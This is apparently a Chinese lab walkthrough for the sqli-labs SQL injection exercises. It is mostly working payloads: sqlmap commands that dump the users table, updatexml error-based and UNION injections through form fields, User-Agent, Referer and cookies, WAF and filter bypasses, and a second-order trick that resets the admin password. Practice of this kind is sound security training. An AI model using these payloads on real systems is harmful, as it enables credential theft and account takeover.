打开题目得到:
尝试注入
测得万能用户为:
1") or 1=1#
发现不会有报错回显,基本确定是bool盲注:
没有过滤直接上sqlmap一把索
首先报出数据库名:
sqlmap -r "request.txt" -p "uname" -dbs mysql
sqlmap -r "request.txt" -p "uname" -D security --tables mysql
获取user字段:
sqlmap -r "request.txt" -p "uname" -D security -T users --columns
sqlmap -r "request.txt" -p "uname" -D security -T users --columns -C username,password --dump
尝试注入发现怎么都没有想要的回显
于是就用一个存在的用户进行登录看看:
得到:
回显密码修改,猜测在密码处存在注入
尝试密码:admin1'
发现单引号爆错,于是打一波报错注入:
爆出当前数据库:
uname=admin1&Submit=submit&passwd=2' or updatexml(1,concat(0x7e,database(),0x7e),1)#
得到:
爆出数据表名:
3432' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
3432' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1)#
username的值(只有一部分):
uname=admin1&Submit=submit&passwd=3432' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users) as hack),0x7e),1)#
爆password的值
uname=admin1&Submit=submit&passwd=3432' and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as hack),0x7e),1)#
首先寻找注入,在登陆页面对密码和用户尝试注入发现没有找到
于是利用sqlmap,来查找注入点
发现要在登陆成功时才能跑出注入点
发现sqlmap打出注入点在User-Agent处
于是手测一波:
发现单引号报错,于是就利用17题的报错注入打一波
但是发现注释符不能用就用引号闭合:
爆出当前数据库:
'or updatexml(1,concat(0x7e,database(),0x7e),1) or'
爆出表:
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) or '
爆出值:
username值:
'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '
password值:
首先得到题目还是找注入点
发现uname和passwd尝试注入无果
直接换sqlmap检测注入
发现注入点为Referer(前提登陆成功)
于是手测一波:
单引号报错,直接手打报错注入
爆出当前数据库名:
'or updatexml(1,concat(0x7e,database(),0x7e),1) or'
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
爆出字段:
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) or '
username值:
'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '
password值:
'or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '
首先打开题目得到:
大体意思就是清理自己的cookie,然后重新登陆获取cookie,
并且Cookie: uname=admin1
直接盲猜cookie注入
获取库名:
'or updatexml(1,concat(0x7e,database(),0x7e),1) or'
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
获取字段:
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) or '
获取值:
username值:
'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '
password值:
首先打开页面尝试寻找注入点
发现在登陆后的cookie值出:
发现有Cookie值,直接打有过滤:
又发现Cookie的uname的值好像被编码了,有点像base64,解码一下得到:
攻击:
发现报错于是就用直接打报错注入:
获取数据库:
'or updatexml(1,concat(0x7e,database(),0x7e),1) or'
base64编码攻击:
获取表名:
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
base64编码,攻击:
获取字段:
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
base64编码,进攻:
获取值:
username值:
'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '
base64编码,攻击
password值:
'or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '
base64编码,攻击
打开登陆发现和Less-21一样,都是cookie的base64编码。
但是,是双引号闭合:
"or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or "
打开题目得到:
回到了get方法请求,直接尝试:?id=’
得到:
尝试报错注入发现直接打通:
获取username值:
'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '
玩了这么多报错注入这次换点别的
union联合注入
首先尝试:1’ or 1=1-- ad
直接绕过注释
用:-1’ union select 1,2,'3
判断字段,发现用4时报错
3个不报错
所以字段为3
直接打:
获取数据库:
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())'
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database())'
获取值:
-1' union select 1,2,(select group_concat(username) from users)'
这题采用白盒测试
先看login.php
发现有:mysql_real_escape_string()函数保护
mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符
所以这里不能打sql注入
换login_create.php
发现都有mysql_real_escape_string()函数保护
换pass_change.php
发现有所不同,username,没有被保护,但是username是通过
SESSION获取的,是用户名这个值我们是可控的,但是username的
大小为20
所以进行大于20长度的注入语句时报错,因为注册的用户超出20的长度时就会报错。
但是这个漏洞可以利用来进行普通用户修改admin用户的密码
同login_create.php创建一个为:
admin’# 的用户
密码随便记住就行
登陆然后去修改密码:
点击Reset修改密码为123456,退出去就能admin,123456
登陆:
打开题目看到:
只需将有or 和 and 的地方双写绕过就可以
uniob注入:
获取username的值:
?id=-1' union select 1,2,(select group_concat(username) from users)-- dsa
打开题目发现和上一题差不多但这题不需要单引号闭合:
直接获取username的值
?id=-1 union select 1,2,(select group_concat(username) from users)-- dsa
打开题目:
提示过滤了空格和注释
空格简单直接用()绕过,注释直接用’闭合,并且还有or和and的过滤
利用报错注入
?id='oorr(updatexml(1,concat(0x7e,(select(group_concat(username))from (users)),0x7e),1))oorr'
union注入
利用(php版本为:php-5.2.17才能解析):
%a0 空格 绕过
查看username的值:
id=3411434124232332'%a0union%a0select%a01,((select%a0group_concat(username)%a0from%a0users)),3%a0oorr%a0'1'='1
这一题与上题不同,用’)闭合,并且不能打报错注入
所以还是利用:
union注入(php版本为:php-5.2.17)的%a0 空格 绕过
查看username的值:
id=3411434124232332')%a0union%a0select%a01,((select%a0group_concat(username)%a0from%a0users)),3%a0oorr%a0('1'='1
打开题目提示过滤了union,select并且也过滤了空格,注释
采取大小绕过
直接打报错注入:
获取username的值:
id='or(updatexml(1,concat(0x7e,(sElEct(group_concat(username))from (users)),0x7e),1))or'
发现和Less-26a一样不能打报错注入,但是是"闭合:
所以还是利用:
union注入(php版本为:php-5.2.17)的%a0 空格 绕过
获取username的值:
id=3411434124232332"%a0UNion%a0sElect%a01,(selEct%a0group_concat(username)%a0from%a0users),3%a0or%a0"1"="1
手测试一波发现,过滤空格,注释,并且是’)闭合
直接利用
union注入(php版本为:php-5.2.17)的%a0 空格 绕过
获取username的值:
id=')%a0UNion%a0sElect%a01,(selEct%a0group_concat(username)%a0from%a0users),3%a0or%a0('1'='1
和上一题差不多
直接利用
union注入(php版本为:php-5.2.17)的%a0 空格 绕过
获取username的值:
id=')%a0UNion%a0sElect%a01,(selEct%a0group_concat(username)%a0from%a0users),3%a0or%a0('1'='1
打开题目题目说是设置了世界上最好的waf
但是就是一个简单的union注入:
于是直接看源码发现有个login.php
这里绕过waf,注入方法就是参数污染
用两个id,一个用于欺骗waf,一个是我们的playload
没什么难度直接union打,得到username的值:
id=1&id=-1' union select 1,2,(select group_concat(username) from users)-- dsa
发现和Less-29一样第一页面直接union就打了,但是是双引号闭合
还是得去看,login.php页面:
发现和Less-29一样,但是是"闭合:
直接获取username的值:
id=1&id=-1" union select 1,2,(select group_concat(username) from users)-- ad